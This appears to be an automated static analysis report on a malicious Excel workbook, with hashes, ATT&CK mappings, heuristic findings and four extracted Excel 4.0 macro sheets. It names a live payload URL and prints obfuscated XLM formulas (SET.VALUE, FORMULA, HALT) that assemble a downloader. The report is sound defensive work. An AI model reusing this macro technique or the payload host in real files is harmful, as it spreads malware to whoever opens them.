Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 9ec96d681094991d…

MALICIOUS

Office (OOXML)

83.4 KB Created: 2006-09-16 00:00:00 UTC Authoring application: Microsoft Excel 14.0300
MD5: 6ef69eada45627ccd1cd3b6a27d7cdce SHA-1: 52aa4d46051f1a7ca5be1ad1edf41d66d13dc9e7 SHA-256: 9ec96d681094991d3044e113105314cc516f1134d9e2471f4aefacd3ec0340e6
190 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution T1105 Ingress Tool Transfer

The file contains Excel 4.0 macros, indicated by multiple critical heuristic firings including the use of dangerous functions like CALL, EXEC, FORMULA, and HALT. The macros construct a URL and filename to download a second-stage payload, specifically "http://162.248.225.97/1.php" to "..\iuretiu.dll". This indicates an Ingress Tool Transfer (T1105) attack pattern, leveraging client execution (T1203) via Excel 4.0 macros (T1059.005).

Heuristics 5

  • Excel 4.0 macro sheet (4 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: HALT, FORMULA critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 1 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/spreadsheetml/2006/main In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)

Extracted artifacts 4

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml
d505811de5a883bedf8e0c2084c2b3d64cec37da9aca77dc270e4e2ea6d7486d
xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 1456 bytes
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="BN16:BQ16"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="4.5703125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="64" width="4.5703125" style="2"/><col min="65" max="65" width="4.5703125" style="2" customWidth="1"/><col min="66" max="67" width="4.5703125" style="2" hidden="1" customWidth="1"/><col min="68" max="68" width="4.5703125" style="1" hidden="1" customWidth="1"/><col min="69" max="69" width="4.5703125" style="2" hidden="1" customWidth="1"/><col min="70" max="16384" width="4.5703125" style="2"/></cols><sheetData><row r="16" spans="67:68" x14ac:dyDescent="0.25"><c r="BO16" s="2" t="b"><f>SET.VALUE(BP16,Sheet5!AG20&amp;Sheet5!AL27&amp;Sheet5!AL28&amp;Sheet5!AJ30&amp;Sheet5!AK30&amp;Sheet5!AM15&amp;Sheet5!AN16&amp;Sheet5!AN15)=Sheet2!AI13()</f><v>1</v></c><c r="BP16" s="2"/></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_01.xml
a8b153a062d4aa47a7768cbe416affb98aae83e032b07f2f3a7351700d9ff620
xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet2.xml 1494 bytes
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="AH3:AU15"/><sheetViews><sheetView showFormulas="1" zoomScaleNormal="100" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="4.5703125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="32" width="4.5703125" style="2"/><col min="33" max="33" width="4.5703125" style="2" customWidth="1"/><col min="34" max="36" width="4.5703125" style="2" hidden="1" customWidth="1"/><col min="37" max="45" width="4.5703125" style="2"/><col min="46" max="46" width="4.5703125" style="2" customWidth="1"/><col min="47" max="47" width="4.5703125" style="2" hidden="1" customWidth="1"/><col min="48" max="16384" width="4.5703125" style="2"/></cols><sheetData><row r="3" spans="35:47" x14ac:dyDescent="0.25"><c r="AU3" s="2" t="b"><f>HALT()</f><v>1</v></c></row><row r="15" spans="35:47" x14ac:dyDescent="0.25"><c r="AI15" s="2" t="b"><f>FORMULA(Sheet4!BB57,Sheet1!BH19)=Sheet1!BH15()</f><v>1</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_02.xml
cdf41698cded2e38132966777a3663575d2cfd1ea535f5505f7b546338e5a1c1
xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet1.xml 1386 bytes
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="BG17:BJ24"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="4.5703125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="57" width="4.5703125" style="2"/><col min="58" max="58" width="4.5703125" style="2" customWidth="1"/><col min="59" max="60" width="4.5703125" style="2" hidden="1" customWidth="1"/><col min="61" max="62" width="4.5703125" style="1" hidden="1" customWidth="1"/><col min="63" max="16384" width="4.5703125" style="2"/></cols><sheetData><row r="17" spans="60:60" s="2" customFormat="1" x14ac:dyDescent="0.25"><c r="BH17" s="2" t="b"><f>FORMULA(Sheet3!BP16,BH22)</f><v>0</v></c></row><row r="24" spans="60:60" s="2" customFormat="1" x14ac:dyDescent="0.25"><c r="BH24" s="2" t="b"><f>Sheet2!AU1()</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_03.xml
5e66e28f48eff5fa338d6f58cf0e9b1464f6c796c9bdf00ca35e20bac7f14dbc
xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet3.xml 1510 bytes
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="AY57:BC57"/><sheetViews><sheetView showFormulas="1" zoomScaleNormal="100" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="4.5703125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="49" width="4.5703125" style="2"/><col min="50" max="50" width="4.42578125" style="2" customWidth="1"/><col min="51" max="55" width="4.5703125" style="2" hidden="1" customWidth="1"/><col min="56" max="16384" width="4.5703125" style="2"/></cols><sheetData><row r="57" spans="53:53" x14ac:dyDescent="0.25"><c r="BA57" s="2" t="b"><f>SET.VALUE(BB57,Sheet5!AF42&amp;Sheet5!AH54&amp;Sheet5!AI54&amp;Sheet5!AO52&amp;Sheet5!AO53&amp;Sheet5!AK68&amp;Sheet5!AL69&amp;Sheet5!AL70&amp;Sheet5!AL71&amp;Sheet5!AL72&amp;Sheet5!AQ52&amp;Sheet5!AS51&amp;Sheet5!AS52&amp;Sheet5!AS53&amp;Sheet5!AS54&amp;Sheet5!AU51&amp;Sheet5!AU52&amp;Sheet5!AU53&amp;Sheet5!AU54&amp;Sheet5!AU57&amp;Sheet5!AU58)=Sheet3!BO14()</f><v>1</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>